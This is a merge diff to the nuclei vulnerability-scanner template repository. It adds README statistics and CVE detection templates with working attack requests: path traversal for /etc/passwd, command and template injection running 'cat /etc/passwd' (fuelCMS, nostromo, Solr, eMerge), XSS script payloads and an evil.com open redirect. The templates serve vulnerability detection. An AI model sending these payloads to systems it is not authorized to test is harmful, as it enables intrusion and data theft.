Merge pull request #422 from pikpikcu/patch-18

Add CVE-2018-16763 fuelCMS 1.4.1 - Remote Code Execution

.github/ISSUE_TEMPLATE/submit-template.md

@@ -0,0 +1,14 @@
+---
+name: Submit Template
+about: Submit nuclei template using issue
+title: "[nuclei-template] "
+labels: ''
+assignees: ''
+
+---
+
+**Template Details**
+
+```
+nuclei template goes here
+```

README.md

@@ -6,16 +6,39 @@
 [![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
 [![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
 
-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### nuclei templates `v7.0.0`
+
+| Template Directory      	| Number of Templates      | Number of HTTP/DNS requests  |
+|---------------------------|--------------------------|------------------------------|
+| cves                     	|86                        |131                           |
+| default-credentials       |03                        |04                            |
+| dns                     	|04                        |04                            |
+| files                     |34                        |111                           |
+| generic-detections        |03                        |03                            |
+| panels                    |28                        |82                            |
+| security-misconfiguration |16                  	   |93                            |
+| subdomain-takeover        |02           			   |02                            |
+| technologies              |24      				   |43                            |
+| tokens                    |07                        |07                            |
+| vulnerabilities           |26          			   |55                            |
+| workflows                 |12              		   |12*                           |
+
+### nuclei templates `v7.0.0` tree overview 
 
 <details>
 <summary>Template Directory</summary>
 
 ```
-├── LICENSE.md
-├── README.md
 ├── cves
 │   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-14537.yaml
+│   ├── CVE-2017-14849.yaml
+│   ├── CVE-2017-5638.yaml
+│   ├── CVE-2017-7391.yaml
 │   ├── CVE-2017-7529.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
@@ -36,24 +59,35 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2018-3760.yaml
 │   ├── CVE-2018-5230.yaml
 │   ├── CVE-2018-7490.yaml
+│   ├── CVE-2019-1010287.yaml
 │   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11043.yaml
+│   ├── CVE-2019-11248.yaml
 │   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-11580.yaml
 │   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-12461.yaml
+│   ├── CVE-2019-12593.yaml
 │   ├── CVE-2019-14322.yaml
+│   ├── CVE-2019-14696.yaml
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-16278.yaml
 │   ├── CVE-2019-16759-1.yaml
 │   ├── CVE-2019-16759.yaml
 │   ├── CVE-2019-17382.yaml
+│   ├── CVE-2019-17558.yaml
 │   ├── CVE-2019-18394.yaml
 │   ├── CVE-2019-19368.yaml
 │   ├── CVE-2019-19781.yaml
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
 │   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-6112.yaml
 │   ├── CVE-2019-7609.yaml
 │   ├── CVE-2019-8449.yaml
 │   ├── CVE-2019-8451.yaml
@@ -62,28 +96,39 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2019-9978.yaml
 │   ├── CVE-2020-10199.yaml
 │   ├── CVE-2020-10204.yaml
+│   ├── CVE-2020-11034.yaml
 │   ├── CVE-2020-1147.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
 │   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-15920.yaml
+│   ├── CVE-2020-17505.yaml
+│   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-2140.yaml
+│   ├── CVE-2020-24223.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
 │   ├── CVE-2020-5405.yaml
 │   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5412.yaml
+│   ├── CVE-2020-5776.yaml
+│   ├── CVE-2020-5777.yaml
 │   ├── CVE-2020-5902.yaml
 │   ├── CVE-2020-6287.yaml
 │   ├── CVE-2020-7209.yaml
 │   ├── CVE-2020-7961.yaml
 │   ├── CVE-2020-8091.yaml
 │   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8163.yaml
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9484.yaml
+│   ├── CVE-2020-9496.yaml
 │   └── CVE-2020-9757.yaml
 ├── default-credentials
 │   ├── grafana-default-credential.yaml
@@ -97,11 +142,13 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
-│   ├── debug-pprof.yaml
 │   ├── dir-listing.yaml
 │   ├── docker-registry.yaml
+│   ├── druid-monitor.yaml
 │   ├── drupal-install.yaml
+│   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
 │   ├── filezilla.yaml
@@ -114,13 +161,16 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── lazy-file.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
+│   ├── robots.txt.yaml
 │   ├── security.txt.yaml
 │   ├── server-status-localhost.yaml
+│   ├── sql-dump.yaml
 │   ├── telerik-dialoghandler-detect.yaml
 │   ├── telerik-fileupload-detect.yaml
 │   ├── tomcat-scripts.yaml
 │   ├── wadl-files.yaml
 │   ├── web-config.yaml
+│   ├── wordpress-debug-log.yaml
 │   ├── wordpress-directory-listing.yaml
 │   ├── wordpress-user-enumeration.yaml
 │   ├── wp-xmlrpc.yaml
@@ -139,12 +189,15 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── fortinet-fortigate-panel.yaml
 │   ├── globalprotect-panel.yaml
 │   ├── grafana-detect.yaml
+│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
 │   ├── mongo-express-web-gui.yaml
 │   ├── parallels-html-client.yaml
+│   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
+│   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
 │   ├── rabbitmq-dashboard.yaml
 │   ├── sap-netweaver-detect.yaml
@@ -153,19 +206,27 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
+│   ├── traefik-dashboard
+│   ├── traefik-dashboard.yaml
 │   ├── weave-scope-dashboard-detect.yaml
-│   └── webeditors.yaml
+│   ├── webeditors.yaml
+│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
 ├── payloads
+│   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
 │   ├── basic-cors-flash.yaml
 │   ├── basic-cors.yaml
+│   ├── drupal-user-enum-ajax.yaml
+│   ├── drupal-user-enum-redirect.yaml
 │   ├── front-page-misconfig.yaml
 │   ├── jira-service-desk-signup.yaml
 │   ├── jira-unauthenticated-dashboards.yaml
 │   ├── jira-unauthenticated-popular-filters.yaml
 │   ├── jira-unauthenticated-projects.yaml
 │   ├── jira-unauthenticated-user-picker.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
 │   ├── springboot-detect.yaml
 │   ├── wamp-xdebug-detect.yaml
@@ -174,10 +235,12 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── detect-all-takeovers.yaml
 │   └── s3-subtakeover.yaml
 ├── technologies
+│   ├── artica-web-proxy-detect.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
 │   ├── clockwork-php-page.yaml
 │   ├── couchdb-detect.yaml
+│   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
 │   ├── graphql.yaml
@@ -187,8 +250,8 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
+│   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
-│   ├── ntlm-directories.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
@@ -200,6 +263,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
+│   ├── credentials-disclosure.yaml
 │   ├── google-api-key.yaml
 │   ├── http-username-password.yaml
 │   ├── mailchimp-api-key.yaml
@@ -209,6 +273,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── couchdb-adminparty.yaml
 │   ├── crlf-injection.yaml
 │   ├── discourse-xss.yaml
+│   ├── eclipse-help-system-xss.yaml
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
 │   ├── microstrategy-ssrf.yaml
@@ -220,19 +285,24 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
 │   ├── wordpress-wordfence-xss.yaml
 │   └── x-forwarded-host-injection.yaml
 └── workflows
+    ├── artica-web-proxy-workflow.yaml
     ├── bigip-pwner-workflow.yaml
+    ├── cisco-asa-workflow.yaml
     ├── grafana-workflow.yaml
     ├── jira-exploitaiton-workflow.yaml
     ├── liferay-rce-workflow.yaml
+    ├── magmi-workflow.yaml
     ├── netsweeper-preauth-rce-workflow.yaml
     ├── rabbitmq-workflow.yaml
     ├── sap-netweaver-workflow.yaml
@@ -243,7 +313,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 
 </details>
 
-13 directories, **214 templates**. 
+13 directories, **263 templates**. 
 
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 
@@ -253,3 +323,4 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
 
 Thanks again for your contribution and keeping the community vibrant. :heart:
+

cves/CVE-2017-14537.yaml

@@ -0,0 +1,51 @@
+id: CVE-2017-14537
+
+info:
+  name: trixbox 2.8.0 - directory-traversal
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+
+requests:
+  - raw:
+      - |
+        POST /maint/index.php?packages HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{Hostname}}/maint/index.php?packages
+        Content-Length: 160
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+
+        xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages
+
+      - |
+        GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: {{Hostname}}/maint/index.php?packages
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2017-5638.yaml

@@ -26,5 +26,5 @@ requests:
     matchers:
       - type: word
         words:
-          - "Bounty Plz"
-        part: header
+          - "X-Hacker: Bounty Plz"
+        part: header

cves/CVE-2017-7391.yaml

@@ -0,0 +1,25 @@
+id: CVE-2017-7391
+
+info:
+  name: Magmi – Cross-Site Scripting v.0.7.22
+  author: pikpikcu
+  severity: medium
+  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+
+  # Issues:-https://github.com/dweeves/magmi-git/issues/522
+  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain);</script><'
+        part: body

cves/CVE-2017-7529.yaml

@@ -1,24 +1,23 @@
 id: CVE-2017-7529
 info:
-  author: "Harsh Bothra"
+  author: "Harsh Bothra & @dwisiswant0"
   name: "Nginx Remote Integer Overflow"
   severity: medium
   description: Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
 
-# This template supports the detection part only.
-# Do not test any website without permission
-# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
+  # This template supports the detection part only.
+  # Do not test any website without permission
+  # https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
 
 requests:
   - raw:
       - |
-          GET / HTTP/1.1
-          Host: {{Hostname}}
-          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-          Accept-Language: en-US,en;q=0.5
-          Range: bytes=-17208,-9223372036854758792
-          Connection: close
-
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Range: bytes=-17208,-9223372036854758792
+        Connection: close
     matchers-condition: and
     matchers:
       - type: status
@@ -26,5 +25,7 @@ requests:
           - 206
       - type: word
         words:
-          - Content-Range
-        part: header
+          - "Server: nginx"
+          - "Content-Range"
+        condition: and
+        part: header

cves/CVE-2017-9841.yaml

@@ -3,7 +3,7 @@ id: CVE-2017-9841
 info:
   name: CVE-2017-9841
   author: Random-Robbie
-  severity: High
+  severity: high
   description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
   # Reference to exploit
   # https://github.com/cyberharsh/Php-unit-CVE-2017-9841

cves/CVE-2018-1000129.yaml

@@ -2,16 +2,16 @@ id: CVE-2018-1000129
 
 info:
   name: Jolokia XSS
-  author: mavericknerd
+  author: mavericknerd @0h1in9e
   severity: high
   description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
+      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
     matchers-condition: and
     matchers:
       - type: status
@@ -19,5 +19,9 @@ requests:
           - 200
       - type: word
         words:
-          - "<svg/onload=alert(1337)>"
+          - "<svg onload=alert(document.domain)>"
         part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/CVE-2018-1271.yaml

@@ -3,7 +3,7 @@ id: CVE-2018-1271
 info:
   name: Spring MVC Directory Traversal Vulnerability
   author: hetroublemakr
-  severity: High
+  severity: high
   # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
 
 requests:

cves/CVE-2018-16763.yaml

@@ -0,0 +1,32 @@
+id: CVE-2018-16763
+
+info:
+  name: fuelCMS 1.4.1 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+
+# Vendor Homepage: https://www.getfuelcms.com/
+# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
+# Refrence: https://www.exploit-db.com/exploits/47138
+
+requests:
+  - raw:
+      - |
+        GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "root:"

cves/CVE-2019-1010287.yaml

@@ -0,0 +1,37 @@
+id: CVE-2019-1010287
+
+info:
+  name: Timesheet 1.5.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: high
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
+# Google-Dork: inurl:"/timesheet/login.php"
+# Demo: http://www.mdh-tz.info/
+
+requests:
+  - raw:  # Metod POST  From  login.php
+      - |
+        POST /timesheet/login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 91
+        DNT: 1
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '><script>javascript:alert(document.domain)</script>'
+        part: body

cves/CVE-2019-11043.yaml

@@ -0,0 +1,18 @@
+id: CVE-2019-11043
+
+info:
+  name: PHP-FPM & nginx RCE
+  author: geeknik
+  severity: high
+  description: https://github.com/neex/phuip-fpizdam
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
+
+    matchers:
+      - type: word
+        words:
+          - "/bin/which"
+        part: body

cves/CVE-2019-12461.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-12461
+
+info:
+  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Vendor Homepage: https://webport.se/
+# Software Link: https://webport.se/nedladdningar/
+# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"</script><script>alert(document.domain);</script><script>'
+        part: body

cves/CVE-2019-12593.yaml

@@ -0,0 +1,27 @@
+id: CVE-2019-12593
+
+info:
+  name: IIceWarp <=10.4.4 - Local File Inclusion
+  author: pikpikcu
+  severity: high
+
+  # reference: https://nvd.nist.gov/vuln/detail/CVE-2019-12593
+  # Google Dork:-Powered By IceWarp 10.4.4
+  # Vendor Homepage: http://www.icewarp.com
+  # Software Link: https://www.icewarp.com/downloads/trial/
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "[intl]"
+          - "root:x:0"

cves/CVE-2019-14696.yaml

@@ -0,0 +1,24 @@
+id: CVE-2019-14696
+
+info:
+  name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-14696
+# Vendor Homepage: [https://open-school.org/]
+
+requests:
+  - metod: GET
+    path:
+      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '<script>alert(document.domain)</script>'
+        part: body

cves/CVE-2019-16278.yaml

@@ -0,0 +1,26 @@
+id: CVE-2019-16278
+
+info:
+  author: pikpikcu
+  name: nostromo 1.9.6 - Remote Code Execution
+  severity: critical
+
+  # Source: https://www.exploit-db.com/raw/47837
+
+requests:
+  - raw:
+      - |
+        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Content-Length: 1
+        Connection: close
+
+        echo
+        echo
+        cat /etc/passwd 2>&1
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/CVE-2019-17382.yaml

@@ -3,7 +3,7 @@ id: CVE-2019-17382
 info:
   name: Zabbix Authentication Bypass
   author: Harsh Bothra
-  severity: Critical
+  severity: critical
   # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
 
 requests:

cves/CVE-2019-17558.yaml

@@ -0,0 +1,58 @@
+id: CVE-2019-17558
+
+info:
+  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
+  author: pikpikcu
+  severity: critical
+
+# Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
+# https://nvd.nist.gov/vuln/detail/CVE-2019-17558
+# Issues:-https://issues.apache.org/jira/browse/SOLR-13971
+
+requests:
+  - raw:   # Request: set "params.resource.loader.enabled"
+      - |
+        POST /solr/atom/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Content-Type: application/json
+        Content-Length: 259
+        Upgrade-Insecure-Requests: 1
+
+        {
+            "update-queryresponsewriter": {
+              "startup": "lazy",
+              "name": "velocity",
+              "class": "solr.VelocityResponseWriter",
+              "template.base.dir": "",
+              "solr.resource.loader.enabled": "true",
+              "params.resource.loader.enabled": "true"
+            }
+        }
+
+      # RCE via velocity template:
+      # Get /etc/passwd
+
+      - |
+        GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2019-3396.yaml

@@ -2,7 +2,7 @@ id: CVE-2019-3396
 info:
   author: "Harsh Bothra"
   name: "Atlassian Confluence Path Traversal"
-  severity: High
+  severity: high
 
 # https://github.com/x-f1v3/CVE-2019-3396
 

cves/CVE-2019-7256.yaml

@@ -0,0 +1,42 @@
+id: CVE-2019-7256
+
+info:
+  name: eMerge E3 1.00-06 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+
+# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
+# Software Link: http://linear-solutions.com/nsc_family/e3-series/
+# Refrence: https://www.exploit-db.com/exploits/47619
+
+requests:
+  - raw:  # Default Port
+      - |
+        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20nuclei.txt%60 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+      - |
+        GET /nuclei.txt HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "root:"

cves/CVE-2020-11034.yaml

@@ -0,0 +1,23 @@
+id: CVE-2020-11034
+
+info:
+  name: GLPI v.9.4.6 - Open redirect
+  author: pikpikcu
+  severity: low
+
+ # security-advisories: https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
+ # https://github.com/glpi-project/glpi/archive/9.4.6.zip
+ # https://nvd.nist.gov/vuln/detail/CVE-2020-11034
+
+requests:
+  - method: GET
+
+    path:
+      - '{{BaseURL}}/index.php?redirect=/\/evil.com/'
+      - '{{BaseURL}}/index.php?redirect=//evil.com'
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
+        part: header

cves/CVE-2020-15920.yaml

@@ -0,0 +1,24 @@
